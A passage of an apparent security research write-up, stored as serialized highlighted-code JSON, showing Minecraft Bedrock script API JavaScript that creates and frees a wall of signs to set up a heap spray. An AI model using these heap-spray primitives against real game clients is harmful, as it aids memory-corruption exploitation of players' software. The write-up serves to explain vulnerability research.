continue",{"type":21,"tag":153,"props":152616,"children":152617},{"style":160},[152618],{"type":26,"value":1759},{"type":21,"tag":153,"props":152620,"children":152621},{"class":155,"line":501},[152622],{"type":21,"tag":153,"props":152623,"children":152624},{"style":160},[152625],{"type":26,"value":2765},{"type":21,"tag":153,"props":152627,"children":152628},{"class":155,"line":533},[152629],{"type":21,"tag":153,"props":152630,"children":152631},{"emptyLinePlaceholder":16},[152632],{"type":26,"value":759},{"type":21,"tag":153,"props":152634,"children":152635},{"class":155,"line":542},[152636,152641,152645,152649,152653,152658,152662,152666,152670,152674,152678,152682,152686,152690],{"type":21,"tag":153,"props":152637,"children":152638},{"style":192},[152639],{"type":26,"value":152640},"        sign",{"type":21,"tag":153,"props":152642,"children":152643},{"style":160},[152644],{"type":26,"value":355},{"type":21,"tag":153,"props":152646,"children":152647},{"style":192},[152648],{"type":26,"value":152577},{"type":21,"tag":153,"props":152650,"children":152651},{"style":160},[152652],{"type":26,"value":355},{"type":21,"tag":153,"props":152654,"children":152655},{"style":181},[152656],{"type":26,"value":152657},"setText",{"type":21,"tag":153,"props":152659,"children":152660},{"style":160},[152661],{"type":26,"value":189},{"type":21,"tag":153,"props":152663,"children":152664},{"style":192},[152665],{"type":26,"value":152515},{"type":21,"tag":153,"props":152667,"children":152668},{"style":160},[152669],{"type":26,"value":355},{"type":21,"tag":153,"props":152671,"children":152672},{"style":181},[152673],{"type":26,"value":135512},{"type":21,"tag":153,"props":152675,"children":152676},{"style":160},[152677],{"type":26,"value":189},{"type":21,"tag":153,"props":152679,"children":152680},{"style":192},[152681],{"type":26,"value":126557},{"type":21,"tag":153,"props":152683,"children":152684},{"style":198},[152685],{"type":26,"value":53546},{"type":21,"tag":153,"props":152687,"children":152688},{"style":300},[152689],{"type":26,"value":7253},{"type":21,"tag":153,"props":152691,"children":152692},{"style":160},[152693],{"type":26,"value":9951},{"type":21,"tag":153,"props":152695,"children":152696},{"class":155,"line":762},[152697,152701,152705,152709,152713,152717],{"type":21,"tag":153,"props":152698,"children":152699},{"style":192},[152700],{"type":26,"value":152640},{"type":21,"tag":153,"props":152702,"children":152703},{"style":160},[152704],{"type":26,"value":355},{"type":21,"tag":153,"props":152706,"children":152707},{"style":192},[152708],{"type":26,"value":152586},{"type":21,"tag":153,"props":152710,"children":152711},{"style":198},[152712],{"type":26,"value":255},{"type":21,"tag":153,"props":152714,"children":152715},{"style":170},[152716],{"type":26,"value":15187},{"type":21,"tag":153,"props":152718,"children":152719},{"style":160},[152720],{"type":26,"value":1759},{"type":21,"tag":153,"props":152722,"children":152723},{"class":155,"line":776},[152724,152728,152732],{"type":21,"tag":153,"props":152725,"children":152726},{"style":1751},[152727],{"type":26,"value":18441},{"type":21,"tag":153,"props":152729,"children":152730},{"style":192},[152731],{"type":26,"value":152548},{"type":21,"tag":153,"props":152733,"children":152734},{"style":160},[152735],{"type":26,"value":1759},{"type":21,"tag":153,"props":152737,"children":152738},{"class":155,"line":795},[152739],{"type":21,"tag":153,"props":152740,"children":152741},{"style":160},[152742],{"type":26,"value":539},{"type":21,"tag":153,"props":152744,"children":152745},{"class":155,"line":808},[152746],{"type":21,"tag":153,"props":152747,"children":152748},{"emptyLinePlaceholder":16},[152749],{"type":26,"value":759},{"type":21,"tag":153,"props":152751,"children":152752},{"class":155,"line":820},[152753,152757,152761,152766,152770,152775],{"type":21,"tag":153,"props":152754,"children":152755},{"style":192},[152756],{"type":26,"value":34134},{"type":21,"tag":153,"props":152758,"children":152759},{"style":160},[152760],{"type":26,"value":355},{"type":21,"tag":153,"props":152762,"children":152763},{"style":181},[152764],{"type":26,"value":152765},"warn",{"type":21,"tag":153,"props":152767,"children":152768},{"style":160},[152769],{"type":26,"value":189},{"type":21,"tag":153,"props":152771,"children":152772},{"style":671},[152773],{"type":26,"value":152774},"\"No more allocs\"",{"type":21,"tag":153,"props":152776,"children":152777},{"style":160},[152778],{"type":26,"value":530},{"type":21,"tag":153,"props":152780,"children":152781},{"class":155,"line":842},[152782,152786,152790],{"type":21,"tag":153,"props":152783,"children":152784},{"style":1751},[152785],{"type":26,"value":19687},{"type":21,"tag":153,"props":152787,"children":152788},{"style":170},[152789],{"type":26,"value":42029},{"type":21,"tag":153,"props":152791,"children":152792},{"style":160},[152793],{"type":26,"value":1759},{"type":21,"tag":153,"props":152795,"children":152796},{"class":155,"line":3204},[152797],{"type":21,"tag":153,"props":152798,"children":152799},{"style":160},[152800],{"type":26,"value":548},{"type":21,"tag":153,"props":152802,"children":152803},{"class":155,"line":3230},[152804],{"type":21,"tag":153,"props":152805,"children":152806},{"emptyLinePlaceholder":16},[152807],{"type":26,"value":759},{"type":21,"tag":153,"props":152809,"children":152810},{"class":155,"line":3239},[152811],{"type":21,"tag":153,"props":152812,"children":152813},{"style":3050},[152814],{"type":26,"value":152815},"// Free an allocated sign in the client\n",{"type":21,"tag":153,"props":152817,"children":152818},{"class":155,"line":3253},[152819,152823,152828,152832,152836],{"type":21,"tag":153,"props":152820,"children":152821},{"style":170},[152822],{"type":26,"value":34072},{"type":21,"tag":153,"props":152824,"children":152825},{"style":181},[152826],{"type":26,"value":152827}," free",{"type":21,"tag":153,"props":152829,"children":152830},{"style":160},[152831],{"type":26,"value":189},{"type":21,"tag":153,"props":152833,"children":152834},{"style":192},[152835],{"type":26,"value":152577},{"type":21,"tag":153,"props":152837,"children":152838},{"style":160},[152839],{"type":26,"value":2659},{"type":21,"tag":153,"props":152841,"children":152842},{"class":155,"line":3301},[152843,152847,152851,152855,152859,152863,152867,152871,152875,152879,152883,152887],{"type":21,"tag":153,"props":152844,"children":152845},{"style":1751},[152846],{"type":26,"value":2434},{"type":21,"tag":153,"props":152848,"children":152849},{"style":160},[152850],{"type":26,"value":5820},{"type":21,"tag":153,"props":152852,"children":152853},{"style":192},[152854],{"type":26,"value":152577},{"type":21,"tag":153,"props":152856,"children":152857},{"style":198},[152858],{"type":26,"value":6031},{"type":21,"tag":153,"props":152860,"children":152861},{"style":170},[152862],{"type":26,"value":42029},{"type":21,"tag":153,"props":152864,"children":152865},{"style":198},[152866],{"type":26,"value":26394},{"type":21,"tag":153,"props":152868,"children":152869},{"style":192},[152870],{"type":26,"value":152548},{"type":21,"tag":153,"props":152872,"children":152873},{"style":160},[152874],{"type":26,"value":355},{"type":21,"tag":153,"props":152876,"children":152877},{"style":192},[152878],{"type":26,"value":152586},{"type":21,"tag":153,"props":152880,"children":152881},{"style":198},[152882],{"type":26,"value":6031},{"type":21,"tag":153,"props":152884,"children":152885},{"style":170},[152886],{"type":26,"value":11782},{"type":21,"tag":153,"props":152888,"children":152889},{"style":160},[152890],{"type":26,"value":2659},{"type":21,"tag":153,"props":152892,"children":152893},{"class":155,"line":3346},[152894,152898],{"type":21,"tag":153,"props":152895,"children":152896},{"style":1751},[152897],{"type":26,"value":18441},{"type":21,"tag":153,"props":152899,"children":152900},{"style":160},[152901],{"type":26,"value":1759},{"type":21,"tag":153,"props":152903,"children":152904},{"class":155,"line":3355},[152905],{"type":21,"tag":153,"props":152906,"children":152907},{"style":160},[152908],{"type":26,"value":539},{"type":21,"tag":153,"props":152910,"children":152911},{"class":155,"line":3364},[152912],{"type":21,"tag":153,"props":152913,"children":152914},{"emptyLinePlaceholder":16},[152915],{"type":26,"value":759},{"type":21,"tag":153,"props":152917,"children":152918},{"class":155,"line":3376},[152919,152924,152928,152932,152936,152940,152944,152949],{"type":21,"tag":153,"props":152920,"children":152921},{"style":192},[152922],{"type":26,"value":152923},"    sign",{"type":21,"tag":153,"props":152925,"children":152926},{"style":160},[152927],{"type":26,"value":355},{"type":21,"tag":153,"props":152929,"children":152930},{"style":192},[152931],{"type":26,"value":152577},{"type":21,"tag":153,"props":152933,"children":152934},{"style":160},[152935],{"type":26,"value":355},{"type":21,"tag":153,"props":152937,"children":152938},{"style":181},[152939],{"type":26,"value":152657},{"type":21,"tag":153,"props":152941,"children":152942},{"style":160},[152943],{"type":26,"value":189},{"type":21,"tag":153,"props":152945,"children":152946},{"style":671},[152947],{"type":26,"value":152948},"\"\"",{"type":21,"tag":153,"props":152950,"children":152951},{"style":160},[152952],{"type":26,"value":530},{"type":21,"tag":153,"props":152954,"children":152955},{"class":155,"line":3393},[152956,152960,152964,152968,152972,152976],{"type":21,"tag":153,"props":152957,"children":152958},{"style":192},[152959],{"type":26,"value":152923},{"type":21,"tag":153,"props":152961,"children":152962},{"style":160},[152963],{"type":26,"value":355},{"type":21,"tag":153,"props":152965,"children":152966},{"style":192},[152967],{"type":26,"value":152586},{"type":21,"tag":153,"props":152969,"children":152970},{"style":198},[152971],{"type":26,"value":255},{"type":21,"tag":153,"props":152973,"children":152974},{"style":170},[152975],{"type":26,"value":11782},{"type":21,"tag":153,"props":152977,"children":152978},{"style":160},[152979],{"type":26,"value":1759},{"type":21,"tag":153,"props":152981,"children":152982},{"class":155,"line":3405},[152983],{"type":21,"tag":153,"props":152984,"children":152985},{"emptyLinePlaceholder":16},[152986],{"type":26,"value":759},{"type":21,"tag":153,"props":152988,"children":152989},{"class":155,"line":3427},[152990,152994,152998,153003,153007,153012],{"type":21,"tag":153,"props":152991,"children":152992},{"style":192},[152993],{"type":26,"value":152923},{"type":21,"tag":153,"props":152995,"children":152996},{"style":160},[152997],{"type":26,"value":355},{"type":21,"tag":153,"props":152999,"children":153000},{"style":192},[153001],{"type":26,"value":153002},"block",{"type":21,"tag":153,"props":153004,"children":153005},{"style":160},[153006],{"type":26,"value":355},{"type":21,"tag":153,"props":153008,"children":153009},{"style":181},[153010],{"type":26,"value":153011},"setPermutation",{"type":21,"tag":153,"props":153013,"children":153014},{"style":160},[153015],{"type":26,"value":773},{"type":21,"tag":153,"props":153017,"children":153018},{"class":155,"line":3448},[153019,153024,153028,153033,153037,153042],{"type":21,"tag":153,"props":153020,"children":153021},{"style":192},[153022],{"type":26,"value":153023},"        BlockPermutation",{"type":21,"tag":153,"props":153025,"children":153026},{"style":160},[153027],{"type":26,"value":355},{"type":21,"tag":153,"props":153029,"children":153030},{"style":181},[153031],{"type":26,"value":153032},"resolve",{"type":21,"tag":153,"props":153034,"children":153035},{"style":160},[153036],{"type":26,"value":189},{"type":21,"tag":153,"props":153038,"children":153039},{"style":671},[153040],{"type":26,"value":153041},"\"minecraft:air\"",{"type":21,"tag":153,"props":153043,"children":153044},{"style":160},[153045],{"type":26,"value":5909},{"type":21,"tag":153,"props":153047,"children":153048},{"class":155,"line":3456},[153049],{"type":21,"tag":153,"props":153050,"children":153051},{"style":160},[153052],{"type":26,"value":3361},{"type":21,"tag":153,"props":153054,"children":153055},{"class":155,"line":3493},[153056,153060,153064,153068,153072,153076],{"type":21,"tag":153,"props":153057,"children":153058},{"style":192},[153059],{"type":26,"value":152923},{"type":21,"tag":153,"props":153061,"children":153062},{"style":160},[153063],{"type":26,"value":355},{"type":21,"tag":153,"props":153065,"children":153066},{"style":192},[153067],{"type":26,"value":135262},{"type":21,"tag":153,"props":153069,"children":153070},{"style":198},[153071],{"type":26,"value":255},{"type":21,"tag":153,"props":153073,"children":153074},{"style":170},[153075],{"type":26,"value":15187},{"type":21,"tag":153,"props":153077,"children":153078},{"style":160},[153079],{"type":26,"value":1759},{"type":21,"tag":153,"props":153081,"children":153082},{"class":155,"line":3509},[153083],{"type":21,"tag":153,"props":153084,"children":153085},{"style":160},[153086],{"type":26,"value":548},{"type":21,"tag":22,"props":153088,"children":153089},{},[153090,153092,153098],{"type":26,"value":153091},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":21,"tag":78,"props":153093,"children":153095},{"className":153094},[],[153096],{"type":26,"value":153097},"signs",{"type":26,"value":153099}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":21,"tag":143,"props":153101,"children":153103},{"code":153102,"language":38309,"meta":7,"className":38307,"style":7},"let signs;\n\nfunction create_wall() {\n    signs = [];\n\n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n            [...]\n            \n            const sign_block = world\n                .getDimension(\"overworld\")\n                .getBlock(sign_location);\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:wall_sign\", {\n                    facing_direction: 3\n                }\n            ));\n            let sign_component = sign_block\n                .getComponent(BlockComponentTypes.Sign);\n\n            signs.push({\n                sign: sign_component,\n                allocated: false,\n                block: sign_block,\n                removed: false\n            });\n        }\n    }\n}\n\nfunction remove_wall() {\n    signs = [];\n    \n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n            \n            [...]\n             \n            const sign_block = await wait_for_block(\n                world.getDimension(\"overworld\"),\n                sign_location\n            );\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:air\")\n            );\n\n            [...]\n        }\n    }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n    create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n    remove_wall();\n});\n",[153104],{"type":21,"tag":78,"props":153105,"children":153106},{"__ignoreMap":7},[153107,153122,153129,153145,153162,153169,153231,153293,153300,153316,153324,153346,153372,153397,153417,153446,153458,153465,153473,153495,153529,153536,153556,153572,153588,153604,153616,153624,153631,153638,153645,153652,153668,153683,153690,153749,153808,153815,153830,153838,153866,153894,153902,153909,153928,153955,153962,153969,153984,153991,153998,154005,154012,154068,154080,154087,154094,154155,154167],{"type":21,"tag":153,"props":153108,"children":153109},{"class":155,"line":156},[153110,153114,153118],{"type":21,"tag":153,"props":153111,"children":153112},{"style":170},[153113],{"type":26,"value":1555},{"type":21,"tag":153,"props":153115,"children":153116},{"style":192},[153117],{"type":26,"value":152557},{"type":21,"tag":153,"props":153119,"children":153120},{"style":160},[153121],{"type":26,"value":1759},{"type":21,"tag":153,"props":153123,"children":153124},{"class":155,"line":166},[153125],{"type":21,"tag":153,"props":153126,"children":153127},{"emptyLinePlaceholder":16},[153128],{"type":26,"value":759},{"type":21,"tag":153,"props":153130,"children":153131},{"class":155,"line":225},[153132,153136,153141],{"type":21,"tag":153,"props":153133,"children":153134},{"style":170},[153135],{"type":26,"value":34072},{"type":21,"tag":153,"props":153137,"children":153138},{"style":181},[153139],{"type":26,"value":153140}," create_wall",{"type":21,"tag":153,"props":153142,"children":153143},{"style":160},[153144],{"type":26,"value":18433},{"type":21,"tag":153,"props":153146,"children":153147},{"class":155,"line":239},[153148,153153,153157],{"type":21,"tag":153,"props":153149,"children":153150},{"style":192},[153151],{"type":26,"value":153152},"    signs",{"type":21,"tag":153,"props":153154,"children":153155},{"style":198},[153156],{"type":26,"value":255},{"type":21,"tag":153,"props":153158,"children":153159},{"style":160},[153160],{"type":26,"value":153161}," [];\n",{"type":21,"tag":153,"props":153163,"children":153164},{"class":155,"line":382},[153165],{"type":21,"tag":153,"props":153166,"children":153167},{"emptyLinePlaceholder":16},[153168],{"type":26,"value":759},{"type":21,"tag":153,"props":153170,"children":153171},{"class":155,"line":501},[153172,153176,153180,153184,153189,153193,153197,153201,153206,153210,153215,153219,153223,153227],{"type":21,"tag":153,"props":153173,"children":153174},{"style":1751},[153175],{"type":26,"value":5784},{"type":21,"tag":153,"props":153177,"children":153178},{"style":160},[153179],{"type":26,"value":5820},{"type":21,"tag":153,"props":153181,"children":153182},{"style":170},[153183],{"type":26,"value":1555},{"type":21,"tag":153,"props":153185,"children":153186},{"style":192},[153187],{"type":26,"value":153188}," current_y",{"type":21,"tag":153,"props":153190,"children":153191},{"style":198},[153192],{"type":26,"value":255},{"type":21,"tag":153,"props":153194,"children":153195},{"style":300},[153196],{"type":26,"value":5799},{"type":21,"tag":153,"props":153198,"children":153199},{"style":160},[153200],{"type":26,"value":297},{"type":21,"tag":153,"props":153202,"children":153203},{"style":192},[153204],{"type":26,"value":153205},"current_y",{"type":21,"tag":153,"props":153207,"children":153208},{"style":198},[153209],{"type":26,"value":4094},{"type":21,"tag":153,"props":153211,"children":153212},{"style":192},[153213],{"type":26,"value":153214}," WALL_HEIGHT",{"type":21,"tag":153,"props":153216,"children":153217},{"style":160},[153218],{"type":26,"value":297},{"type":21,"tag":153,"props":153220,"children":153221},{"style":192},[153222],{"type":26,"value":153205},{"type":21,"tag":153,"props":153224,"children":153225},{"style":198},[153226],{"type":26,"value":53560},{"type":21,"tag":153,"props":153228,"children":153229},{"style":160},[153230],{"type":26,"value":2659},{"type":21,"tag":153,"props":153232,"children":153233},{"class":155,"line":533},[153234,153238,153242,153246,153251,153255,153259,153263,153268,153272,153277,153281,153285,153289],{"type":21,"tag":153,"props":153235,"children":153236},{"style":1751},[153237],{"type":26,"value":62869},{"type":21,"tag":153,"props":153239,"children":153240},{"style":160},[153241],{"type":26,"value":5820},{"type":21,"tag":153,"props":153243,"children":153244},{"style":170},[153245],{"type":26,"value":1555},{"type":21,"tag":153,"props":153247,"children":153248},{"style":192},[153249],{"type":26,"value":153250}," current_x",{"type":21,"tag":153,"props":153252,"children":153253},{"style":198},[153254],{"type":26,"value":255},{"type":21,"tag":153,"props":153256,"children":153257},{"style":300},[153258],{"type":26,"value":5799},{"type":21,"tag":153,"props":153260,"children":153261},{"style":160},[153262],{"type":26,"value":297},{"type":21,"tag":153,"props":153264,"children":153265},{"style":192},[153266],{"type":26,"value":153267},"current_x",{"type":21,"tag":153,"props":153269,"children":153270},{"style":198},[153271],{"type":26,"value":4094},{"type":21,"tag":153,"props":153273,"children":153274},{"style":192},[153275],{"type":26,"value":153276}," WALL_WIDTH",{"type":21,"tag":153,"props":153278,"children":153279},{"style":160},[153280],{"type":26,"value":297},{"type":21,"tag":153,"props":153282,"children":153283},{"style":192},[153284],{"type":26,"value":153267},{"type":21,"tag":153,"props":153286,"children":153287},{"style":198},[153288],{"type":26,"value":53560},{"type":21,"tag":153,"props":153290,"children":153291},{"style":160},[153292],{"type":26,"value":2659},{"type":21,"tag":153,"props":153294,"children":153295},{"class":155,"line":542},[153296],{"type":21,"tag":153,"props":153297,"children":153298},{"emptyLinePlaceholder":16},[153299],{"type":26,"value":759},{"type":21,"tag":153,"props":153301,"children":153302},{"class":155,"line":762},[153303,153308,153312],{"type":21,"tag":153,"props":153304,"children":153305},{"style":160},[153306],{"type":26,"value":153307},"            [",{"type":21,"tag":153,"props":153309,"children":153310},{"style":198},[153311],{"type":26,"value":12313},{"type":21,"tag":153,"props":153313,"children":153314},{"style":160},[153315],{"type":26,"value":2941},{"type":21,"tag":153,"props":153317,"children":153318},{"class":155,"line":776},[153319],{"type":21,"tag":153,"props":153320,"children":153321},{"style":160},[153322],{"type":26,"value":153323},"            \n",{"type":21,"tag":153,"props":153325,"children":153326},{"class":155,"line":795},[153327,153332,153337,153341],{"type":21,"tag":153,"props":153328,"children":153329},{"style":170},[153330],{"type":26,"value":153331},"            const",{"type":21,"tag":153,"props":153333,"children":153334},{"style":192},[153335],{"type":26,"value":153336}," sign_block",{"type":21,"tag":153,"props":153338,"children":153339},{"style":198},[153340],{"type":26,"value":255},{"type":21,"tag":153,"props":153342,"children":153343},{"style":192},[153344],{"type":26,"value":153345}," world\n",{"type":21,"tag":153,"props":153347,"children":153348},{"class":155,"line":808},[153349,153354,153359,153363,153368],{"type":21,"tag":153,"props":153350,"children":153351},{"style":160},[153352],{"type":26,"value":153353},"                .",{"type":21,"tag":153,"props":153355,"children":153356},{"style":181},[153357],{"type":26,"value":153358},"getDimension",{"type":21,"tag":153,"props":153360,"children":153361},{"style":160},[153362],{"type":26,"value":189},{"type":21,"tag":153,"props":153364,"children":153365},{"style":671},[153366],{"type":26,"value":153367},"\"overworld\"",{"type":21,"tag":153,"props":153369,"children":153370},{"style":160},[153371],{"type":26,"value":5909},{"type":21,"tag":153,"props":153373,"children":153374},{"class":155,"line":820},[153375,153379,153384,153388,153393],{"type":21,"tag":153,"props":153376,"children":153377},{"style":160},[153378],{"type":26,"value":153353},{"type":21,"tag":153,"props":153380,"children":153381},{"style":181},[153382],{"type":26,"value":153383},"getBlock",{"type":21,"tag":153,"props":153385,"children":153386},{"style":160},[153387],{"type":26,"value":189},{"type":21,"tag":153,"props":153389,"children":153390},{"style":192},[153391],{"type":26,"value":153392},"sign_location",{"type":21,"tag":153,"props":153394,"children":153395},{"style":160},[153396],{"type":26,"value":530},{"type":21,"tag":153,"props":153398,"children":153399},{"class":155,"line":842},[153400,153405,153409,153413],{"type":21,"tag":153,"props":153401,"children":153402},{"style":192},[153403],{"type":26,"value":153404},"            sign_block",{"type":21,"tag":153,"props":153406,"children":153407},{"style":160},[153408],{"type":26,"value":355},{"type":21,"tag":153,"props":153410,"children":153411},{"style":181},[153412],{"type":26,"value":153011},{"type":21,"tag":153,"props":153414,"children":153415},{"style":160},[153416],{"type":26,"value":773},{"type":21,"tag":153,"props":153418,"children":153419},{"class":155,"line":3204},[153420,153425,153429,153433,153437,153442],{"type":21,"tag":153,"props":153421,"children":153422},{"style":192},[153423],{"type":26,"value":153424},"                BlockPermutation",{"type":21,"tag":153,"props":153426,"children":153427},{"style":160},[153428],{"type":26,"value":355},{"type":21,"tag":153,"props":153430,"children":153431},{"style":181},[153432],{"type":26,"value":153032},{"type":21,"tag":153,"props":153434,"children":153435},{"style":160},[153436],{"type":26,"value":189},{"type":21,"tag":153,"props":153438,"children":153439},{"style":671},[153440],{"type":26,"value":153441},"\"minecraft:wall_sign\"",{"type":21,"tag":153,"props":153443,"children":153444},{"style":160},[153445],{"type":26,"value":51172},{"type":21,"tag":153,"props":153447,"children":153448},{"class":155,"line":3230},[153449,153454],{"type":21,"tag":153,"props":153450,"children":153451},{"style":192},[153452],{"type":26,"value":153453},"                    facing_direction:",{"type":21,"tag":153,"props":153455,"children":153456},{"style":300},[153457],{"type":26,"value":22023},{"type":21,"tag":153,"props":153459,"children":153460},{"class":155,"line":3239},[153461],{"type":21,"tag":153,"props":153462,"children":153463},{"style":160},[153464],{"type":26,"value":73366},{"type":21,"tag":153,"props":153466,"children":153467},{"class":155,"line":3253},[153468],{"type":21,"tag":153,"props":153469,"children":153470},{"style":160},[153471],{"type":26,"value":153472},"            ));\n",{"type":21,"tag":153,"props":153474,"children":153475},{"class":155,"line":3301},[153476,153481,153486,153490],{"type":21,"tag":153,"props":153477,"children":153478},{"style":170},[153479],{"type":26,"value":153480},"            let",{"type":21,"tag":153,"props":153482,"children":153483},{"style":192},[153484],{"type":26,"value":153485}," sign_component",{"type":21,"tag":153,"props":153487,"children":153488},{"style":198},[153489],{"type":26,"value":255},{"type":21,"tag":153,"props":153491,"children":153492},{"style":192},[153493],{"type":26,"value":153494}," sign_block\n",{"type":21,"tag":153,"props":153496,"children":153497},{"class":155,"line":3346},[153498,153502,153507,153511,153516,153520,153525],{"type":21,"tag":153,"props":153499,"children":153500},{"style":160},[153501],{"type":26,"value":153353},{"type":21,"tag":153,"props":153503,"children":153504},{"style":181},[153505],{"type":26,"value":153506},"getComponent",{"type":21,"tag":153,"props":153508,"children":153509},{"style":160},[153510],{"type":26,"value":189},{"type":21,"tag":153,"props":153512,"children":153513},{"style":192},[153514],{"type":26,"value":153515},"BlockComponentTypes",{"type":21,"tag":153,"props":153517,"children":153518},{"style":160},[153519],{"type":26,"value":355},{"type":21,"tag":153,"props":153521,"children":153522},{"style":192},[153523],{"type":26,"value":153524},"Sign",{"type":21,"tag":153,"props":153526,"children":153527},{"style":160},[153528],{"type":26,"value":530},{"type":21,"tag":153,"props":153530,"children":153531},{"class":155,"line":3355},[153532],{"type":21,"tag":153,"props":153533,"children":153534},{"emptyLinePlaceholder":16},[153535],{"type":26,"value":759},{"type":21,"tag":153,"props":153537,"children":153538},{"class":155,"line":3364},[153539,153544,153548,153552],{"type":21,"tag":153,"props":153540,"children":153541},{"style":192},[153542],{"type":26,"value":153543},"            signs",{"type":21,"tag":153,"props":153545,"children":153546},{"style":160},[153547],{"type":26,"value":355},{"type":21,"tag":153,"props":153549,"children":153550},{"style":181},[153551],{"type":26,"value":6545},{"type":21,"tag":153,"props":153553,"children":153554},{"style":160},[153555],{"type":26,"value":17840},{"type":21,"tag":153,"props":153557,"children":153558},{"class":155,"line":3376},[153559,153564,153568],{"type":21,"tag":153,"props":153560,"children":153561},{"style":192},[153562],{"type":26,"value":153563},"                sign:",{"type":21,"tag":153,"props":153565,"children":153566},{"style":192},[153567],{"type":26,"value":153485},{"type":21,"tag":153,"props":153569,"children":153570},{"style":160},[153571],{"type":26,"value":792},{"type":21,"tag":153,"props":153573,"children":153574},{"class":155,"line":3393},[153575,153580,153584],{"type":21,"tag":153,"props":153576,"children":153577},{"style":192},[153578],{"type":26,"value":153579},"                allocated:",{"type":21,"tag":153,"props":153581,"children":153582},{"style":170},[153583],{"type":26,"value":11782},{"type":21,"tag":153,"props":153585,"children":153586},{"style":160},[153587],{"type":26,"value":792},{"type":21,"tag":153,"props":153589,"children":153590},{"class":155,"line":3405},[153591,153596,153600],{"type":21,"tag":153,"props":153592,"children":153593},{"style":192},[153594],{"type":26,"value":153595},"                block:",{"type":21,"tag":153,"props":153597,"children":153598},{"style":192},[153599],{"type":26,"value":153336},{"type":21,"tag":153,"props":153601,"children":153602},{"style":160},[153603],{"type":26,"value":792},{"type":21,"tag":153,"props":153605,"children":153606},{"class":155,"line":3427},[153607,153612],{"type":21,"tag":153,"props":153608,"children":153609},{"style":192},[153610],{"type":26,"value":153611},"                removed:",{"type":21,"tag":153,"props":153613,"children":153614},{"style":170},[153615],{"type":26,"value":15029},{"type":21,"tag":153,"props":153617,"children":153618},{"class":155,"line":3448},[153619],{"type":21,"tag":153,"props":153620,"children":153621},{"style":160},[153622],{"type":26,"value":153623},"            });\n",{"type":21,"tag":153,"props":153625,"children":153626},{"class":155,"line":3456},[153627],{"type":21,"tag":153,"props":153628,"children":153629},{"style":160},[153630],{"type":26,"value":2765},{"type":21,"tag":153,"props":153632,"children":153633},{"class":155,"line":3493},[153634],{"type":21,"tag":153,"props":153635,"children":153636},{"style":160},[153637],{"type":26,"value":539},{"type":21,"tag":153,"props":153639,"children":153640},{"class":155,"line":3509},[153641],{"type":21,"tag":153,"props":153642,"children":153643},{"style":160},[153644],{"type":26,"value":548},{"type":21,"tag":153,"props":153646,"children":153647},{"class":155,"line":3517},[153648],{"type":21,"tag":153,"props":153649,"children":153650},{"emptyLinePlaceholder":16},[153651],{"type":26,"value":759},{"type":21,"tag":153,"props":153653,"children":153654},{"class":155,"line":3526},[153655,153659,153664],{"type":21,"tag":153,"props":153656,"children":153657},{"style":170},[153658],{"type":26,"value":34072},{"type":21,"tag":153,"props":153660,"children":153661},{"style":181},[153662],{"type":26,"value":153663}," remove_wall",{"type":21,"tag":153,"props":153665,"children":153666},{"style":160},[153667],{"type":26,"value":18433},{"type":21,"tag":153,"props":153669,"children":153670},{"class":155,"line":3607},[153671,153675,153679],{"type":21,"tag":153,"props":153672,"children":153673},{"style":192},[153674],{"type":26,"value":153152},{"type":21,"tag":153,"props":153676,"children":153677},{"style":198},[153678],{"type":26,"value":255},{"type":21,"tag":153,"props":153680,"children":153681},{"style":160},[153682],{"type":26,"value":153161},{"type":21,"tag":153,"props":153684,"children":153685},{"class":155,"line":3615},[153686],{"type":21,"tag":153,"props":153687,"children":153688},{"style":160},[153689],{"type":26,"value":64079},{"type":21,"tag":153,"props":153691,"children":153692},{"class":155,"line":3629},[153693,153697,153701,153705,153709,153713,153717,153721,153725,153729,153733,153737,153741,153745],{"type":21,"tag":153,"props":153694,"children":153695},{"style":1751},[153696],{"type":26,"value":5784},{"type":21,"tag":153,"props":153698,"children":153699},{"style":160},[153700],{"type":26,"value":5820},{"type":21,"tag":153,"props":153702,"children":153703},{"style":170},[153704],{"type":26,"value":1555},{"type":21,"tag":153,"props":153706,"children":153707},{"style":192},[153708],{"type":26,"value":153188},{"type":21,"tag":153,"props":153710,"children":153711},{"style":198},[153712],{"type":26,"value":255},{"type":21,"tag":153,"props":153714,"children":153715},{"style":300},[153716],{"type":26,"value":5799},{"type":21,"tag":153,"props":153718,"children":153719},{"style":160},[153720],{"type":26,"value":297},{"type":21,"tag":153,"props":153722,"children":153723},{"style":192},[153724],{"type":26,"value":153205},{"type":21,"tag":153,"props":153726,"children":153727},{"style":198},[153728],{"type":26,"value":4094},{"type":21,"tag":153,"props":153730,"children":153731},{"style":192},[153732],{"type":26,"value":153214},{"type":21,"tag":153,"props":153734,"children":153735},{"style":160},[153736],{"type":26,"value":297},{"type":21,"tag":153,"props":153738,"children":153739},{"style":192},[153740],{"type":26,"value":153205},{"type":21,"tag":153,"props":153742,"children":153743},{"style":198},[153744],{"type":26,"value":53560},{"type":21,"tag":153,"props":153746,"children":153747},{"style":160},[153748],{"type":26,"value":2659},{"type":21,"tag":153,"props":153750,"children":153751},{"class":155,"line":26297},[153752,153756,153760,153764,153768,153772,153776,153780,153784,153788,153792,153796,153800,153804],{"type":21,"tag":153,"props":153753,"children":153754},{"style":1751},[153755],{"type":26,"value":62869},{"type":21,"tag":153,"props":153757,"children":153758},{"style":160},[153759],{"type":26,"value":5820},{"type":21,"tag":153,"props":153761,"children":153762},{"style":170},[153763],{"type":26,"value":1555},{"type":21,"tag":153,"props":153765,"children":153766},{"style":192},[153767],{"type":26,"value":153250},{"type":21,"tag":153,"props":153769,"children":153770},{"style":198},[153771],{"type":26,"value":255},{"type":21,"tag":153,"props":153773,"children":153774},{"style":300},[153775],{"type":26,"value":5799},{"type":21,"tag":153,"props":153777,"children":153778},{"style":160},[153779],{"type":26,"value":297},{"type":21,"tag":153,"props":153781,"children":153782},{"style":192},[153783],{"type":26,"value":153267},{"type":21,"tag":153,"props":153785,"children":153786},{"style":198},[153787],{"type":26,"value":4094},{"type":21,"tag":153,"props":153789,"children":153790},{"style":192},[153791],{"type":2